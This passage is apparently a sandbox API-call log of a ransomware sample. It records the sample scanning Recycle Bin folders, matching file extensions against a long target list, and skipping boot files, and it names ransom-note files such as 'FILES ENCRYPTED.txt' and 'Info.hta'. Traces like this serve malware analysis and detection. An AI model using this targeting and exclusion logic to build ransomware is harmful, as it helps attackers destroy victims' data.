(HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0060.968] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24 [0060.968] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583148 [0060.968] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.968] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.968] lstrlenW (lpString="desktop.ini") returned 11 [0060.968] lstrlenW (lpString=".1cd") returned 4 [0060.968] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0060.968] lstrlenW (lpString=".3ds") returned 4 [0060.968] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0060.968] lstrlenW (lpString=".3fr") returned 4 [0060.968] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0060.968] lstrlenW (lpString=".3g2") returned 4 [0060.968] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0060.968] lstrlenW (lpString=".3gp") returned 4 [0060.968] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0060.968] lstrlenW (lpString=".7z") returned 3 [0060.968] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0060.968] lstrlenW (lpString=".accda") returned 6 [0060.969] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0060.969] lstrlenW (lpString=".accdb") returned 6 [0060.969] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0060.969] lstrlenW (lpString=".accdc") returned 6 [0060.969] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0060.969] lstrlenW (lpString=".accde") returned 6 [0060.969] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0060.969] lstrlenW (lpString=".accdt") returned 6 [0060.969] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0060.969] lstrlenW (lpString=".accdw") returned 6 [0060.969] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0060.969] lstrlenW (lpString=".adb") returned 4 [0060.969] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0060.969] lstrlenW (lpString=".adp") returned 4 [0060.969] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0060.969] lstrlenW (lpString=".ai") returned 3 [0060.969] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0060.969] lstrlenW (lpString=".ai3") returned 4 [0060.969] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0060.969] lstrlenW (lpString=".ai4") returned 4 [0060.969] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0060.969] lstrlenW (lpString=".ai5") returned 4 [0060.969] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0060.969] lstrlenW (lpString=".ai6") returned 4 [0060.969] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0060.969] lstrlenW (lpString=".ai7") returned 4 [0060.969] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0060.969] lstrlenW (lpString=".ai8") returned 4 [0060.969] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0060.969] lstrlenW (lpString=".anim") returned 5 [0060.969] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0060.969] lstrlenW (lpString=".arw") returned 4 [0060.969] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0060.969] lstrlenW (lpString=".as") returned 3 [0060.969] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0060.969] lstrlenW (lpString=".asa") returned 4 [0060.969] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".asc") returned 4 [0060.970] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".ascx") returned 5 [0060.970] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0060.970] lstrlenW (lpString=".asm") returned 4 [0060.970] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".asmx") returned 5 [0060.970] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0060.970] lstrlenW (lpString=".asp") returned 4 [0060.970] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".aspx") returned 5 [0060.970] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0060.970] lstrlenW (lpString=".asr") returned 4 [0060.970] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".asx") returned 4 [0060.970] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".avi") returned 4 [0060.970] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".avs") returned 4 [0060.970] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".backup") returned 7 [0060.970] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0060.970] lstrlenW (lpString=".bak") returned 4 [0060.970] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".bay") returned 4 [0060.970] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".bd") returned 3 [0060.970] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0060.970] lstrlenW (lpString=".bin") returned 4 [0060.970] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".bmp") returned 4 [0060.970] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".bz2") returned 4 [0060.970] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0060.970] lstrlenW (lpString=".c") returned 2 [0060.970] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0060.970] lstrlenW (lpString=".cdr") returned 4 [0060.971] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".cer") returned 4 [0060.971] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".cf") returned 3 [0060.971] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0060.971] lstrlenW (lpString=".cfc") returned 4 [0060.971] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".cfm") returned 4 [0060.971] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".cfml") returned 5 [0060.971] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0060.971] lstrlenW (lpString=".cfu") returned 4 [0060.971] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".chm") returned 4 [0060.971] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".cin") returned 4 [0060.971] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".class") returned 6 [0060.971] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0060.971] lstrlenW (lpString=".clx") returned 4 [0060.971] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".config") returned 7 [0060.971] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0060.971] lstrlenW (lpString=".cpp") returned 4 [0060.971] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".cr2") returned 4 [0060.971] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".crt") returned 4 [0060.971] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".crw") returned 4 [0060.971] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".cs") returned 3 [0060.971] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0060.971] lstrlenW (lpString=".css") returned 4 [0060.971] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0060.971] lstrlenW (lpString=".csv") returned 4 [0060.972] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".cub") returned 4 [0060.972] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".dae") returned 4 [0060.972] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".dat") returned 4 [0060.972] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".db") returned 3 [0060.972] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0060.972] lstrlenW (lpString=".dbf") returned 4 [0060.972] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".dbx") returned 4 [0060.972] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".dc3") returned 4 [0060.972] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".dcm") returned 4 [0060.972] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".dcr") returned 4 [0060.972] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".der") returned 4 [0060.972] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".dib") returned 4 [0060.972] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".dic") returned 4 [0060.972] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".dif") returned 4 [0060.972] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".divx") returned 5 [0060.972] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0060.972] lstrlenW (lpString=".djvu") returned 5 [0060.972] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0060.972] lstrlenW (lpString=".dng") returned 4 [0060.972] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".doc") returned 4 [0060.972] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0060.972] lstrlenW (lpString=".docm") returned 5 [0060.972] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0060.973] lstrlenW (lpString=".docx") returned 5 [0060.973] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0060.973] lstrlenW (lpString=".dot") returned 4 [0060.973] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".dotm") returned 5 [0060.973] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0060.973] lstrlenW (lpString=".dotx") returned 5 [0060.973] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0060.973] lstrlenW (lpString=".dpx") returned 4 [0060.973] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".dqy") returned 4 [0060.973] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".dsn") returned 4 [0060.973] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".dt") returned 3 [0060.973] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0060.973] lstrlenW (lpString=".dtd") returned 4 [0060.973] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".dwg") returned 4 [0060.973] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".dwt") returned 4 [0060.973] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".dx") returned 3 [0060.973] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0060.973] lstrlenW (lpString=".dxf") returned 4 [0060.973] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".edml") returned 5 [0060.973] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0060.973] lstrlenW (lpString=".efd") returned 4 [0060.973] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".elf") returned 4 [0060.973] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".emf") returned 4 [0060.973] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".emz") returned 4 [0060.973] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0060.973] lstrlenW (lpString=".epf") returned 4 [0060.974] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".eps") returned 4 [0060.974] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".epsf") returned 5 [0060.974] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0060.974] lstrlenW (lpString=".epsp") returned 5 [0060.974] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0060.974] lstrlenW (lpString=".erf") returned 4 [0060.974] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".exr") returned 4 [0060.974] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".f4v") returned 4 [0060.974] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".fido") returned 5 [0060.974] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0060.974] lstrlenW (lpString=".flm") returned 4 [0060.974] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".flv") returned 4 [0060.974] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".frm") returned 4 [0060.974] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".fxg") returned 4 [0060.974] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".geo") returned 4 [0060.974] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".gif") returned 4 [0060.974] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".grs") returned 4 [0060.974] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".gz") returned 3 [0060.974] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0060.974] lstrlenW (lpString=".h") returned 2 [0060.974] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0060.974] lstrlenW (lpString=".hdr") returned 4 [0060.974] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0060.974] lstrlenW (lpString=".hpp") returned 4 [0060.974] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0060.975] lstrlenW (lpString=".hta") returned 4 [0060.975] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0060.975] lstrlenW (lpString=".htc") returned 4 [0060.975] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0060.975] lstrlenW (lpString=".htm") returned 4 [0060.975] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0060.975] lstrlenW (lpString=".html") returned 5 [0060.975] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0060.975] lstrlenW (lpString=".icb") returned 4 [0060.975] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0060.975] lstrlenW (lpString=".ics") returned 4 [0060.975] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0060.975] lstrlenW (lpString=".iff") returned 4 [0060.975] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0060.975] lstrlenW (lpString=".inc") returned 4 [0060.975] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0060.975] lstrlenW (lpString=".indd") returned 5 [0060.975] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0060.975] lstrlenW (lpString=".ini") returned 4 [0060.975] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0060.975] lstrlenW (lpString="desktop.ini") returned 11 [0060.975] lstrlenW (lpString=".NEWS") returned 5 [0060.975] lstrcmpiW (lpString1=".NEWS", lpString2="p.ini") returned -1 [0060.975] lstrlenW (lpString="desktop.ini") returned 11 [0060.975] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0060.975] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0060.975] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0060.975] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0060.975] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0060.975] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0060.975] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0060.975] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="desktop.ini") returned 1 [0060.975] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0060.975] FindNextFileW (in: hFindFile=0x583148, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0060.976] FindClose (in: hFindFile=0x583148 | out: hFindFile=0x583148) returned 1 [0060.976] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0060.976] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0060.976] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61 [0060.976] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0060.976] lstrlenW (lpString="S-1-5-21-1051304884-625712362-2192934891-1000") returned 45 [0060.976] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-21-1051304884-625712362-2192934891-1000") returned -1 [0060.976] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0060.976] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 61 [0060.976] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583048 [0060.976] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.976] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.976] lstrlenW (lpString="desktop.ini") returned 11 [0060.976] lstrlenW (lpString=".1cd") returned 4 [0060.976] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0060.976] lstrlenW (lpString=".3ds") returned 4 [0060.976] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0060.976] lstrlenW (lpString=".3fr") returned 4 [0060.976] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0060.977] lstrlenW (lpString=".3g2") returned 4 [0060.977] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0060.977] lstrlenW (lpString=".3gp") returned 4 [0060.977] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0060.977] lstrlenW (lpString=".7z") returned 3 [0060.977] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0060.977] lstrlenW (lpString=".accda") returned 6 [0060.977] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0060.977] lstrlenW (lpString=".accdb") returned 6 [0060.977] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0060.977] lstrlenW (lpString=".accdc") returned 6 [0060.977] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0060.977] lstrlenW (lpString=".accde") returned 6 [0060.977] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0060.977] lstrlenW (lpString=".accdt") returned 6 [0060.977] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0060.977] lstrlenW (lpString=".accdw") returned 6 [0060.977] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0060.977] lstrlenW (lpString=".adb") returned 4 [0060.977] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0060.977] lstrlenW (lpString=".adp") returned 4 [0060.977] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0060.977] lstrlenW (lpString=".ai") returned 3 [0060.977] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0060.977] lstrlenW (lpString=".ai3") returned 4 [0060.977] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0060.977] lstrlenW (lpString=".ai4") returned 4 [0060.977] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0060.977] lstrlenW (lpString=".ai5") returned 4 [0061.215] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0061.215] lstrlenW (lpString=".ai6") returned 4 [0061.215] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0061.215] lstrlenW (lpString=".ai7") returned 4 [0061.215] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0061.215] lstrlenW (lpString=".ai8") returned 4 [0061.215] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0061.215] lstrlenW (lpString=".anim") returned 5 [0061.215] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0061.215] lstrlenW (lpString=".arw") returned 4 [0061.215] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0061.215] lstrlenW (lpString=".as") returned 3 [0061.215] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0061.215] lstrlenW (lpString=".asa") returned 4 [0061.215] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0061.215] lstrlenW (lpString=".asc") returned 4 [0061.215] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0061.215] lstrlenW (lpString=".ascx") returned 5 [0061.215] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0061.215] lstrlenW (lpString=".asm") returned 4 [0061.215] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0061.215] lstrlenW (lpString=".asmx") returned 5 [0061.215] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0061.215] lstrlenW (lpString=".asp") returned 4 [0061.215] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".aspx") returned 5 [0061.216] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0061.216] lstrlenW (lpString=".asr") returned 4 [0061.216] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".asx") returned 4 [0061.216] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".avi") returned 4 [0061.216] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".avs") returned 4 [0061.216] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".backup") returned 7 [0061.216] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0061.216] lstrlenW (lpString=".bak") returned 4 [0061.216] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".bay") returned 4 [0061.216] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".bd") returned 3 [0061.216] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0061.216] lstrlenW (lpString=".bin") returned 4 [0061.216] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".bmp") returned 4 [0061.216] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".bz2") returned 4 [0061.216] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".c") returned 2 [0061.216] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0061.216] lstrlenW (lpString=".cdr") returned 4 [0061.216] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0061.216] lstrlenW (lpString=".cer") returned 4 [0061.217] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0061.217] lstrlenW (lpString=".cf") returned 3 [0061.217] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0061.217] lstrlenW (lpString=".cfc") returned 4 [0061.217] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 